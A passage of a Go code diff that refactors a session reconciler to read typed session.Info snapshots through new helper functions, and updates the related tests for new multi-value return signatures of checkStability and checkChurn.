 	if !alive && view.BaseState == sessionpkg.BaseStateDrained {
@@ -1163,6 +1297,19 @@ func staleCreatingState(session beads.Bead, clk clock.Clock) bool {
 	return pendingCreateAttemptStale(session, clk)
 }
 
+// staleCreatingStateInfo is the session.Info sibling of staleCreatingState.
+// Equivalence-proven. It reads the RAW metadata state (Info.MetadataState),
+// matching staleCreatingState's session.Metadata["state"] read.
+func staleCreatingStateInfo(i sessionpkg.Info, clk clock.Clock) bool {
+	if clk == nil {
+		return false
+	}
+	if strings.TrimSpace(i.MetadataState) != string(sessionpkg.StateCreating) {
+		return false
+	}
+	return pendingCreateAttemptStaleInfo(i, clk)
+}
+
 // pendingCreateAttemptStale reports whether the current pending-create attempt
 // has aged past staleCreatingStateTimeout, regardless of the bead's current
 // projected state. This lets the reconciler keep never-started pending-create
@@ -1181,6 +1328,22 @@ func pendingCreateAttemptStale(session beads.Bead, clk clock.Clock) bool {
 	return !now.Before(session.CreatedAt.Add(staleCreatingStateTimeout))
 }
 
+// pendingCreateAttemptStaleInfo is the session.Info sibling of
+// pendingCreateAttemptStale. Equivalence-proven.
+func pendingCreateAttemptStaleInfo(i sessionpkg.Info, clk clock.Clock) bool {
+	if clk == nil {
+		return false
+	}
+	now := clk.Now()
+	if started, ok := parseRFC3339Metadata(i.PendingCreateStartedAt); ok {
+		return !now.Before(started.Add(staleCreatingStateTimeout))
+	}
+	if i.CreatedAt.IsZero() {
+		return true
+	}
+	return !now.Before(i.CreatedAt.Add(staleCreatingStateTimeout))
+}
+
 // pendingCreateStartedAtNow returns the timestamp string to write into
 // metadata["pending_create_started_at"] when a bead transitions into
 // state=creating with pending_create_claim=true. Must match the format
@@ -1295,6 +1458,12 @@ func isKnownState(session beads.Bead) bool {
 	return knownSessionStates[session.Metadata["state"]]
 }
 
+// isKnownStateInfo is the session.Info mirror of isKnownState. It keys off the
+// RAW metadata state (Info.MetadataState, untrimmed), exactly as the bead form does.
+func isKnownStateInfo(i sessionpkg.Info) bool {
+	return knownSessionStates[i.MetadataState]
+}
+
 // reverseBeads returns a reversed copy of the bead slice.
 func reverseBeads(beadSlice []beads.Bead) []beads.Bead {
 	n := len(beadSlice)
diff --git a/cmd/gc/session_reconcile_ratelimit_test.go b/cmd/gc/session_reconcile_ratelimit_test.go
index 8bfeabe347..600eae6c68 100644
--- a/cmd/gc/session_reconcile_ratelimit_test.go
+++ b/cmd/gc/session_reconcile_ratelimit_test.go
@@ -47,7 +47,7 @@ func TestCheckStability_RateLimitScreen_DoesNotCountAsCrash(t *testing.T) {
 		return paneContent, nil
 	}
 
-	if !checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek) {
+	if stab, _ := checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek); !stab {
 		t.Fatal("checkStability should return true when it records a rate-limit hold")
 	}
 
@@ -107,7 +107,7 @@ func TestCheckStability_RateLimitPendingCreateClearsStartedAt(t *testing.T) {
 		return "You've hit your limit, Pro plan\n\n/rate-limit-options", nil
 	}
 
-	if !checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek) {
+	if stab, _ := checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek); !stab {
 		t.Fatal("checkStability should return true when it records a rate-limit hold")
 	}
 	if session.Metadata["pending_create_claim"] != "" {
@@ -135,7 +135,7 @@ func TestCheckRateLimitStability_BeforeHealPreservesResumeMetadata(t *testing.T)
 		return "You've hit your limit, Pro plan\n\n/rate-limit-options", nil
 	}
 
-	handled, err := checkRateLimitStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek)
+	handled, _, err := checkRateLimitStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek)
 	if err != nil {
 		t.Fatalf("recording rate-limit rapid exit: %v", err)
 	}
@@ -180,7 +180,7 @@ func TestCheckRateLimitStability_BatchFailureDoesNotClearLastWokeAt(t *testing.T
 		return "You've hit your limit, Pro plan\n\n/rate-limit-options", nil
 	}
 
-	handled, err := checkRateLimitStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek)
+	handled, _, err := checkRateLimitStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek)
 	if err == nil {
 		t.Fatal("rate-limit batch failure should be returned")
 	}
@@ -204,7 +204,7 @@ func TestCheckRateLimitStability_BatchFailureDoesNotClearLastWokeAt(t *testing.T
 	}
 
 	store.metadataBatchErr = nil
-	handled, err = checkRateLimitStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek)
+	handled, _, err = checkRateLimitStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek)
 	if err != nil {
 		t.Fatalf("retrying rate-limit detection: %v", err)
 	}
@@ -245,7 +245,7 @@ func TestCheckRateLimitStability_BatchFailureRetriesAfterStabilityThreshold(t *t
 		return "You've hit your limit, Pro plan\n\n/rate-limit-options", nil
 	}
 
-	handled, err := checkRateLimitStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek)
+	handled, _, err := checkRateLimitStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek)
 	if err == nil {
 		t.Fatal("initial failed batch should be returned")
 	}
@@ -255,7 +255,7 @@ func TestCheckRateLimitStability_BatchFailureRetriesAfterStabilityThreshold(t *t
 
 	clk.Time = now.Add(stabilityThreshold + time.Second)
 	store.metadataBatchErr = nil
-	handled, err = checkRateLimitStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek)
+	handled, _, err = checkRateLimitStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek)
 	if err != nil {
 		t.Fatalf("retrying after stability threshold: %v", err)
 	}
@@ -295,7 +295,7 @@ func TestCheckStability_RateLimitScreen_EmptyPaneStillCountsAsCrash(t *testing.T
 
 	peek := func(_ int) (string, error) { return "", nil }
 
-	if !checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek) {
+	if stab, _ := checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek); !stab {
 		t.Error("rapid exit with no rate-limit signature should report stability failure")
 	}
 	if got := session.Metadata["wake_attempts"]; got != "1" {
@@ -318,7 +318,7 @@ func TestCheckStability_RateLimitScreen_NilPeekFallsBackToCrash(t *testing.T) {
 		"wake_attempts": "0",
 	})
 
-	if !checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, nil) {
+	if stab, _ := checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, nil); !stab {
 		t.Error("rapid exit with nil peek should fall back to crash-counting behavior")
 	}
 	if got := session.Metadata["wake_attempts"]; got != "1" {
@@ -341,7 +341,7 @@ func TestCheckStability_RateLimitScreen_PeekErrorFallsBackToCrash(t *testing.T)
 		return "", errors.New("peek failed")
 	}
 
-	if !checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek) {
+	if stab, _ := checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek); !stab {
 		t.Error("rapid exit with peek error should fall back to crash-counting behavior")
 	}
 	if got := session.Metadata["wake_attempts"]; got != "1" {
@@ -370,7 +370,7 @@ func TestCheckStability_TerminalErrorScreen_MarksTerminalNotCrash(t *testing.T)
 		return "model_not_found: gpt-5.3-codex-spark", nil
 	}
 
-	if !checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek) {
+	if stab, _ := checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, peek); !stab {
 		t.Fatal("checkStability should return true when it records a terminal provider error")
 	}
 	if got := session.Metadata["wake_attempts"]; got != "3" {
diff --git a/cmd/gc/session_reconcile_test.go b/cmd/gc/session_reconcile_test.go
index 780784f56b..5c0fe2ccc3 100644
--- a/cmd/gc/session_reconcile_test.go
+++ b/cmd/gc/session_reconcile_test.go
@@ -1111,7 +1111,7 @@ func TestCheckStability_AliveReturnsFalse(t *testing.T) {
 		"last_woke_at": clk.Now().Add(-10 * time.Second).Format(time.RFC3339),
 	})
 
-	if checkStability(&session, nil, true, dt, sessionFrontDoor(store), clk, nil) {
+	if stab, _ := checkStability(&session, nil, true, dt, sessionFrontDoor(store), clk, nil); stab {
 		t.Error("alive session should not report stability failure")
 	}
 }
@@ -1127,7 +1127,7 @@ func TestCheckStability_RapidExit(t *testing.T) {
 		"wake_attempts": "0",
 	})
 
-	if !checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, nil) {
+	if stab, _ := checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, nil); !stab {
 		t.Error("rapid exit should report stability failure")
 	}
 
@@ -1153,7 +1153,7 @@ func TestCheckStability_PendingCreateInFlightNotCounted(t *testing.T) {
 		"wake_attempts":        "0",
 	})
 
-	if checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, nil) {
+	if stab, _ := checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, nil); stab {
 		t.Fatal("in-flight pending create should not be counted as a rapid exit")
 	}
 	if got := session.Metadata["wake_attempts"]; got != "0" {
@@ -1175,7 +1175,7 @@ func TestCheckStability_PendingCreateClaimNotCountedAfterStartupLeaseExpires(t *
 		"wake_attempts":        "0",
 	})
 
-	if checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, nil) {
+	if stab, _ := checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, nil); stab {
 		t.Fatal("pending_create_claim should suppress stability counting until create recovery clears the claim")
 	}
 	if got := session.Metadata["wake_attempts"]; got != "0" {
@@ -1194,7 +1194,7 @@ func TestCheckStability_DrainingNotCounted(t *testing.T) {
 		"last_woke_at": now.Add(-10 * time.Second).Format(time.RFC3339),
 	})
 
-	if checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, nil) {
+	if stab, _ := checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, nil); stab {
 		t.Error("draining session death should not count as stability failure")
 	}
 }
@@ -1210,7 +1210,7 @@ func TestCheckStability_StableSession(t *testing.T) {
 		"last_woke_at": now.Add(-2 * time.Minute).Format(time.RFC3339),
 	})
 
-	if checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, nil) {
+	if stab, _ := checkStability(&session, nil, false, dt, sessionFrontDoor(store), clk, nil); stab {
 		t.Error("session that lived past threshold should not be stability failure")
 	}
 }
@@ -1229,7 +1229,7 @@ func TestCheckStability_SubprocessProviderSkipsCrashCounting(t *testing.T) {
 		"wake_attempts": "0",
 	})
 
-	if checkStability(&session, cfg, false, dt, sessionFrontDoor(store), clk, nil) {
+	if stab, _ := checkStability(&session, cfg, false, dt, sessionFrontDoor(store), clk, nil); stab {
 		t.Fatal("subprocess rapid exit should not be counted as a crash")
 	}
 	if got := session.Metadata["wake_attempts"]; got != "0" {
@@ -2270,7 +2270,7 @@ func TestCheckStability_RapidExitAfterHealStateKeepsStartedConfigHashCleared(t *
 	if session.Metadata["started_config_hash"] != "" {
 		t.Fatalf("healState started_config_hash = %q, want empty", session.Metadata["started_config_hash"])
 	}
-	if !checkStability(&session, nil, false, nil, sessionFrontDoor(store), clk, nil) {
+	if stab, _ := checkStability(&session, nil, false, nil, sessionFrontDoor(store), clk, nil); !stab {
 		t.Fatal("checkStability should record the rapid exit")
 	}
 	if session.Metadata["started_config_hash"] != "" {
@@ -2550,7 +2550,7 @@ func TestCheckChurn_AliveReturnsFalse(t *testing.T) {
 		"last_woke_at": now.Add(-90 * time.Second).Format(time.RFC3339),
 	})
 
-	if checkChurn(&session, nil, true, dt, sessionFrontDoor(store), clk) {
+	if churn, _ := checkChurn(&session, nil, true, dt, sessionFrontDoor(store), clk); churn {
 		t.Error("alive session should not trigger churn")
 	}
 }
@@ -2568,7 +2568,7 @@ func TestCheckChurn_NonProductiveDeath(t *testing.T) {
 		"churn_count":  "0",
 	})
 
-	if !checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk) {
+	if churn, _ := checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk); !churn {
 		t.Error("non-productive death should trigger churn")
 	}
 	if session.Metadata["churn_count"] != "1" {
@@ -2591,7 +2591,7 @@ func TestCheckChurn_RapidExitIgnored(t *testing.T) {
 		"last_woke_at": now.Add(-10 * time.Second).Format(time.RFC3339),
 	})
 
-	if checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk) {
+	if churn, _ := checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk); churn {
 		t.Error("rapid exit should not trigger churn (handled by checkStability)")
 	}
 }
@@ -2607,7 +2607,7 @@ func TestCheckChurn_PendingCreateClaimNotCountedAfterStartupLeaseExpires(t *test
 		"churn_count":          "0",
 	})
 
-	if checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk) {
+	if churn, _ := checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk); churn {
 		t.Fatal("pending_create_claim should suppress churn counting until create recovery clears the claim")
 	}
 	if got := session.Metadata["churn_count"]; got != "0" {
@@ -2626,7 +2626,7 @@ func TestCheckChurn_ProductiveSessionIgnored(t *testing.T) {
 		"last_woke_at": now.Add(-10 * time.Minute).Format(time.RFC3339),
 	})
 
-	if checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk) {
+	if churn, _ := checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk); churn {
 		t.Error("productive session death should not trigger churn")
 	}
 }
@@ -2645,7 +2645,7 @@ func TestCheckChurn_DeadProductiveSessionClearsChurnCount(t *testing.T) {
 		"churn_count":  "2",
 	})
 
-	if checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk) {
+	if churn, _ := checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk); churn {
 		t.Error("dead productive session should not trigger churn")
 	}
 	if session.Metadata["churn_count"] != "0" {
@@ -2667,7 +2667,7 @@ func TestCheckChurn_ClearedLastWokeAtSkipsChurn(t *testing.T) {
 		"churn_count":  "2",
 	})
 
-	if checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk) {
+	if churn, _ := checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk); churn {
 		t.Error("session with cleared last_woke_at should not trigger churn")
 	}
 	if session.Metadata["churn_count"] != "2" {
@@ -2686,7 +2686,7 @@ func TestCheckChurn_DrainingNotCounted(t *testing.T) {
 		"last_woke_at": now.Add(-90 * time.Second).Format(time.RFC3339),
 	})
 
-	if checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk) {
+	if churn, _ := checkChurn(&session, nil, false, dt, sessionFrontDoor(store), clk); churn {
 		t.Error("draining session death should not count as churn")
 	}
 }
@@ -2704,7 +2704,7 @@ func TestCheckChurn_SubprocessProviderSkipped(t *testing.T) {
 		"last_woke_at": now.Add(-90 * time.Second).Format(time.RFC3339),
 	})
 
-	if checkChurn(&session, cfg, false, dt, sessionFrontDoor(store), clk) {
+	if churn, _ := checkChurn(&session, cfg, false, dt, sessionFrontDoor(store), clk); churn {
 		t.Error("subprocess sessions should not trigger churn")
 	}
 }
@@ -2723,7 +2723,7 @@ func TestCheckChurn_CityStopSleepReasonSkipped(t *testing.T) {
 		"continuation_reset_pending": "",
 	})
 
-	if checkChurn(&session, &config.City{}, false, dt, sessionFrontDoor(store), clk) {
+	if churn, _ := checkChurn(&session, &config.City{}, false, dt, sessionFrontDoor(store), clk); churn {
 		t.Fatal("city-stop sessions should not trigger churn")
 	}
 	if got := session.Metadata["session_key"]; got != "resume-key" {
diff --git a/cmd/gc/session_reconciler.go b/cmd/gc/session_reconciler.go
index 6a5a85e0a0..c0e923a58e 100644
--- a/cmd/gc/session_reconciler.go
+++ b/cmd/gc/session_reconciler.go
@@ -17,6 +17,7 @@ import (
 	"log"
 	"maps"
 	"os"
+	"path/filepath"
 	"runtime/debug"
 	"strings"
 	"time"
@@ -51,33 +52,58 @@ func lifecycleTimerBlocker(metadata map[string]string, now time.Time) string {
 	}
 }
 
+// lifecycleTimerBlockerInfo is the session.Info sibling of lifecycleTimerBlocker:
+// it reports the active lifecycle timer blocker (user hold / quarantine) from the
+// typed Info.HeldUntil / Info.QuarantinedUntil mirrors, using the same
+// metadataTimeInFuture rule. Equivalence-proven (TestSessionClassifierInfoEquivalence).
+func lifecycleTimerBlockerInfo(info sessionpkg.Info, now time.Time) string {
+	switch {
+	case metadataTimeInFuture(info.HeldUntil, now):
+		return "user_hold"
+	case metadataTimeInFuture(info.QuarantinedUntil, now):
+		return "quarantine"
+	default:
+		return ""
+	}
+}
+
 func isDrainAckStopPending(session beads.Bead) bool {
 	return strings.TrimSpace(session.Metadata["state"]) == string(sessionpkg.StateDraining) &&
 		strings.TrimSpace(session.Metadata["state_reason"]) == sessionpkg.DrainAckStopPendingReason
 }
 
-func markDrainAckStopPending(session *beads.Bead, sessFront *sessionpkg.InfoStore, clk clock.Clock, stderr io.Writer) bool {
-	if session == nil || sessFront == nil || session.ID == "" {
+// isDrainAckStopPendingInfo is the session.Info sibling of isDrainAckStopPending:
+// it reports whether a session is parked in the drain-ack stop-pending state from
+// the typed Info.MetadataState (raw "state") / Info.StateReason mirrors, with the
+// same TrimSpace compares. Equivalence-proven (TestSessionClassifierInfoEquivalence).
+func isDrainAckStopPendingInfo(info sessionpkg.Info) bool {
+	return strings.TrimSpace(info.MetadataState) == string(sessionpkg.StateDraining) &&
+		strings.TrimSpace(info.StateReason) == sessionpkg.DrainAckStopPendingReason
+}
+
+// markDrainAckStopPending persists the drain-ack stop-pending transition through
+// the session front door, reading the session identity/name from the typed Info
+// snapshot (front-door migration Step 5b). It no longer mirrors the patch onto a
+// raw *beads.Bead: the two reconciler callers reconstruct DrainAckStopPendingPatch
+// and fold it onto infoByID themselves, and no later this-tick reader consumes the
+// raw bead for these keys — a drain-acked session `continue`s before the
+// wakeTargets/startCandidates append, and the post-loop scans read only ordered[i].ID.
+func markDrainAckStopPending(info sessionpkg.Info, sessFront *sessionpkg.Store, clk clock.Clock, stderr io.Writer) bool {
+	if info.ID == "" || sessFront == nil {
 		return false
 	}
 	if stderr == nil {
 		stderr = io.Discard
 	}
 	batch := sessionpkg.DrainAckStopPendingPatch(clk.Now().UTC())
-	if err := sessFront.ApplyPatch(session.ID, batch); err != nil {
-		name := strings.TrimSpace(session.Metadata["session_name"])
+	if err := sessFront.ApplyPatch(info.ID, batch); err != nil {
+		name := strings.TrimSpace(info.SessionNameMetadata)
 		if name == "" {
-			name = session.ID
+			name = info.ID
 		}
 		fmt.Fprintf(stderr, "session reconciler: marking drain-ack stop-pending %s: %v\n", name, err) //nolint:errcheck
 		return false
 	}
-	if session.Metadata == nil {
-		session.Metadata = make(map[string]string, len(batch))
-	}
-	for key, value := range batch {
-		session.Metadata[key] = value
-	}
 	return true
 }
 
@@ -116,6 +142,25 @@ func resetPendingCommittedAt(session beads.Bead) (string, time.Time, bool) {
 	return raw, committedAt, true
 }
 
+// resetPendingCommittedAtInfo is the session.Info mirror of
+// resetPendingCommittedAt: it reads the raw continuation_reset_pending and
+// reset_committed_at markers (Info.ContinuationResetPending / Info.ResetCommittedAt)
+// with the same trim + RFC3339 parse rules.
+func resetPendingCommittedAtInfo(info sessionpkg.Info) (string, time.Time, bool) {
+	if strings.TrimSpace(info.ContinuationResetPending) != "true" {
+		return "", time.Time{}, false
+	}
+	raw := strings.TrimSpace(info.ResetCommittedAt)
+	if raw == "" {
+		return "", time.Time{}, false
+	}
+	committedAt, err := time.Parse(time.RFC3339, raw)
+	if err != nil {
+		return "", time.Time{}, false
+	}
+	return raw, committedAt, true
+}
+
 func recordResetStallIfDue(
 	session beads.Bead,
 	template string,
@@ -269,12 +314,57 @@ func recordDrainAckAssignedWorkEvent(
 	})
 }
 
+// drainAckFinalizeResult captures the Info-snapshot effect of a
+// finalizeDrainAckStoppedSession call so the reconciler can refresh its typed
+// infoByID snapshot from the write it just performed (front-door migration Step
+// 6d write-returns-Info) instead of re-projecting the raw working bead. The zero
+// value is a no-op — the call mutated nothing (async/early-return/persist-error)
+// so applyTo returns the snapshot Info unchanged.
+type drainAckFinalizeResult struct {
+	// batch is the metadata patch mirrored onto the session bead this call: the
+	// close ClosePatch (Path A) or the AcknowledgeDrain/CompleteDrain patch (the
+	// non-close drain-ack path). nil when the call wrote no metadata.
+	batch sessionpkg.MetadataPatch
+	// closed reports that the call closed the bead in memory
+	// (session.Status = "closed"); the snapshot must fold that status close via
+	// MarkClosed, which no metadata patch can carry (Info.Closed derives from
+	// Status, not metadata).
+	closed bool
+	// witnessInfo carries a full reprojection for the NDI witness close, where the
+	// call adopts the store's authoritative metadata wholesale
+	// (session.Metadata = latest.Metadata) rather than applying a known patch, so
+	// the post-Info cannot be folded from batch and is reprojected instead.
+	witnessInfo *sessionpkg.Info
+}
+
+// applyTo folds the finalize result onto the coherent pre-call snapshot Info,
+// byte-identically to re-projecting the mutated bead (the raw refreshSessionInfo
+// path): the witness reprojection wins outright; otherwise the metadata patch
+// folds via ApplyPatch and an in-memory close folds via MarkClosed. The caller
+// must pass the session's coherent snapshot entry — infoByID[id] equal to the
+// pre-call InfoFromPersistedBead(*session) — which holds at every finalize call
+// site (top-of-loop / post-heal / post-zombie refresh, no un-refreshed *session
+// mutation reaches the call).
+func (r drainAckFinalizeResult) applyTo(info sessionpkg.Info) sessionpkg.Info {
+	if r.witnessInfo != nil {
+		return *r.witnessInfo
+	}
+	if r.batch != nil {
+		info = info.ApplyPatch(r.batch)
+	}
+	if r.closed {
+		info = info.MarkClosed()
+	}
+	return info
+}
+
 func finalizeDrainAckStoppedSession(
 	cityPath string,
 	cfg *config.City,
 	store beads.Store,
 	rigStores map[string]beads.Store,
 	session *beads.Bead,
+	info sessionpkg.Info,
 	template string,
 	closeIfUnassigned bool,
 	dops drainOps,
@@ -282,16 +372,22 @@ func finalizeDrainAckStoppedSession(
 	clk clock.Clock,
 	rec events.Recorder,
 	stderr io.Writer,
-) {
+) drainAckFinalizeResult {
 	if session == nil || store == nil || session.ID == "" {
-		return
-	}
-	name := strings.TrimSpace(session.Metadata["session_name"])
+		return drainAckFinalizeResult{}
+	}
+	// Decision reads come off the typed Info snapshot (front-door migration Step
+	// 5b); the raw *session is retained only for the whole-bead raw-by-design
+	// helpers below (sessionHasOpenAssignedWorkForReachableStore,
+	// closeSessionBeadIfReachableStoreUnassigned, recordDrainAckAssignedWorkEvent,
+	// sessionAgentMetricIdentity) and the store.Get witness reprojection. Callers
+	// pass the coherent infoByID[session.ID] (== InfoFromPersistedBead(*session)).
+	name := strings.TrimSpace(info.SessionNameMetadata)
 	if template == "" {
-		template = normalizedSessionTemplate(*session, cfg)
+		template = normalizedSessionTemplateInfo(info, cfg)
 	}
 	if template == "" {
-		template = session.Metadata["template"]
+		template = info.Template
 	}
 	recordStopped := func(performedStop bool) {
 		// gc.agent.stops.total counts the stop action, so only the observer
@@ -324,12 +420,7 @@ func finalizeDrainAckStoppedSession(
 	if closeIfUnassigned && !hasAssignedWork {
 		if closeSessionBeadIfReachableStoreUnassigned(cityPath, cfg, store, rigStores, *session, "drained", clk.Now().UTC(), stderr) {
 			session.Status = "closed"
-			if session.Metadata == nil {
-				session.Metadata = make(map[string]string)
-			}
-			for key, value := range sessionpkg.ClosePatch(clk.Now().UTC(), "drained") {
-				session.Metadata[key] = value
-			}
+			closePatch := sessionpkg.ClosePatch(clk.Now().UTC(), "drained")
 			if dops != nil {
 				_ = dops.clearDrain(name)
 			}
@@ -338,7 +429,12 @@ func finalizeDrainAckStoppedSession(
 				dt.remove(session.ID)
 			}
 			recordStopped(true)
-			return
+			// write-returns-Info (Step 6d): the snapshot fold is ApplyPatch(the
+			// ClosePatch) + MarkClosed(the Status="closed"). The raw metadata mirror
+			// loop is dropped (Step 5b) — no later this-tick reader consumes the raw
+			// bead metadata; the raw session.Status="closed" set stays (a struct field,
+			// not a Metadata bracket write, and asserted by the telemetry close-path test).
+			return drainAckFinalizeResult{batch: closePatch, closed: true}
 		}
 		if latest, err := store.Get(session.ID); err == nil && latest.Status == "closed" {
 			session.Status = latest.Status
@@ -351,7 +447,13 @@ func finalizeDrainAckStoppedSession(
 				dt.remove(session.ID)
 			}
 			recordStopped(false)
-			return
+			// NDI witness close: another observer already closed the bead and this
+			// call adopted its authoritative metadata wholesale, so the post-Info is
+			// a full reprojection, not a patch fold. This is the one finalize path
+			// still reading the raw bead; it is byte-identical to the old
+			// refreshSessionInfo and is reworked when the lockstep drops.
+			witnessInfo := sessionpkg.InfoFromPersistedBead(*session)
+			return drainAckFinalizeResult{witnessInfo: &witnessInfo}
 		}
 		assignedAfterCloseGate, closeGateAssignedErr := sessionHasOpenAssignedWorkForReachableStore(cityPath, cfg, store, rigStores, *session)
 		if closeGateAssignedErr != nil {
@@ -362,9 +464,9 @@ func finalizeDrainAckStoppedSession(
 			hasAssignedWork = true
 		}
 	}
-	batch := sessionpkg.AcknowledgeDrainPatch(session.Metadata["wake_mode"] == "fresh")
+	batch := sessionpkg.AcknowledgeDrainPatch(info.WakeMode == "fresh")
 	if hasAssignedWork {
-		batch = sessionpkg.CompleteDrainPatch(clk.Now().UTC(), "idle", session.Metadata["wake_mode"] == "fresh")
+		batch = sessionpkg.CompleteDrainPatch(clk.Now().UTC(), "idle", info.WakeMode == "fresh")
 	}
 	// A drain-ack that completes a restart-request cycle (gc session reset →
 	// agent drain-ack) must also consume restart_requested. The drain-ack
@@ -373,19 +475,20 @@ func finalizeDrainAckStoppedSession(
 	// store, a later cache-reconcile re-emission resurrects it and the
 	// controller honors it as a fresh restart request — a phantom second
 	// restart that rotates session_key and destroys resume continuity (#2574).
-	if session.Metadata["restart_requested"] == "true" {
+	if info.RestartRequested == "true" {
 		batch["restart_requested"] = ""
 	}
 	if err := sessionFrontDoor(store).ApplyPatch(session.ID, batch); err != nil {
 		fmt.Fprintf(stderr, "session reconciler: finalizing drain-ack stopped %s: %v\n", name, err) //nolint:errcheck
-		return
-	}
-	if session.Metadata == nil {
-		session.Metadata = make(map[string]string, len(batch))
-	}
-	for key, value := range batch {
-		session.Metadata[key] = value
-	}
+		// Store write failed, so nothing changed — the snapshot must stay unchanged
+		// (zero result → applyTo no-op).
+		return drainAckFinalizeResult{}
+	}
+	// The raw metadata mirror loop is dropped (Step 5b): the caller folds the
+	// returned batch onto infoByID, and no later this-tick reader consumes the raw
+	// bead metadata for these keys (a drain-acked session `continue`s before the
+	// wakeTargets/startCandidates append; recordStopped/recordDrainAckAssignedWorkEvent
+	// below read identity + store-query results, not the drain-ack batch keys).
 	if dops != nil {
 		_ = dops.clearDrain(name)
 	}
@@ -397,6 +500,9 @@ func finalizeDrainAckStoppedSession(
 	if hasAssignedWork {
 		recordDrainAckAssignedWorkEvent(cityPath, cfg, store, rigStores, *session, template, template, name, rec, stderr)
 	}
+	// Non-close drain-ack: the snapshot fold is ApplyPatch(the drain-ack batch just
+	// mirrored) with no status close.
+	return drainAckFinalizeResult{batch: batch}
 }
 
 func reconcileDrainAckStopPending(
@@ -406,6 +512,7 @@ func reconcileDrainAckStopPending(
 	store beads.Store,
 	rigStores map[string]beads.Store,
 	session *beads.Bead,
+	info sessionpkg.Info,
 	tp TemplateParams,
 	desired bool,
 	dops drainOps,
@@ -414,22 +521,25 @@ func reconcileDrainAckStopPending(
 	clk clock.Clock,
 	rec events.Recorder,
 	stderr io.Writer,
-) bool {
-	if session == nil || !isDrainAckStopPending(*session) {
-		return false
+) (bool, drainAckFinalizeResult) {
+	if session == nil || !isDrainAckStopPendingInfo(info) {
+		return false, drainAckFinalizeResult{}
 	}
-	name := strings.TrimSpace(session.Metadata["session_name"])
+	name := strings.TrimSpace(info.SessionNameMetadata)
 	obs, err := workerObserveSessionTargetWithRuntimeHintsWithConfig(cityPath, store, sp, cfg, session.ID, tp.Hints.ProcessNames)
 	if err != nil || obs.Running || obs.Alive {
+		// Async-stop: queueDrainAckAsyncStop takes the session ID (not *session) and
+		// mutates only the async tracker, so the bead is untouched and the snapshot
+		// stays coherent — a zero result (applyTo no-op) matches the old refresh of
+		// the unmutated bead.
 		queueDrainAckAsyncStop(cityPath, store, sp, cfg, session.ID, name, asyncStopTracker, stderr)
-		return true
+		return true, drainAckFinalizeResult{}
 	}
-	finalizeDrainAckStoppedSession(
-		cityPath, cfg, store, rigStores, session, tp.TemplateName,
+	return true, finalizeDrainAckStoppedSession(
+		cityPath, cfg, store, rigStores, session, info, tp.TemplateName,
 		!desired || isPoolManagedSessionBead(*session),
 		dops, dt, clk, rec, stderr,
 	)
-	return true
 }
 
 func finalizeDrainAckStopPendingSessions(
@@ -455,10 +565,14 @@ func finalizeDrainAckStopPendingSessions(
 	finalized := 0
 	for i := range sessions {
 		session := &sessions[i]
-		if !isDrainAckStopPending(*session) {
+		// Boundary per-bead projection (same pattern as the advanceSessionDrains
+		// wrappers): this non-reconciler pass loads its own []beads.Bead, so it
+		// projects Info here and feeds the drain-ack helpers off it.
+		info := sessionpkg.InfoFromPersistedBead(*session)
+		if !isDrainAckStopPendingInfo(info) {
 			continue
 		}
-		name := strings.TrimSpace(session.Metadata["session_name"])
+		name := strings.TrimSpace(info.SessionNameMetadata)
 		obs, err := workerObserveSessionTargetWithRuntimeHintsWithConfig(cityPath, store, sp, cfg, session.ID, nil)
 		if err != nil || obs.Running || obs.Alive {
 			queueDrainAckAsyncStop(cityPath, store, sp, cfg, session.ID, name, asyncStopTracker, stderr)
@@ -468,8 +582,8 @@ func finalizeDrainAckStopPendingSessions(
 		// state=drained: open pool session beads occupy slots in the next demand
 		// calculation, while closed beads remain only as lifecycle history.
 		finalizeDrainAckStoppedSession(
-			cityPath, cfg, store, rigStores, session,
-			normalizedSessionTemplate(*session, cfg),
+			cityPath, cfg, store, rigStores, session, info,
+			normalizedSessionTemplateInfo(info, cfg),
 			isPoolManagedSessionBead(*session),
 			dops, dt, clk, rec, stderr,
 		)
@@ -612,6 +726,45 @@ func pendingCreateSessionStillLeased(session beads.Bead, cfg *config.City, clk c
 	return false
 }
 
+// pendingCreateSessionStillLeasedInfo is the session.Info sibling of
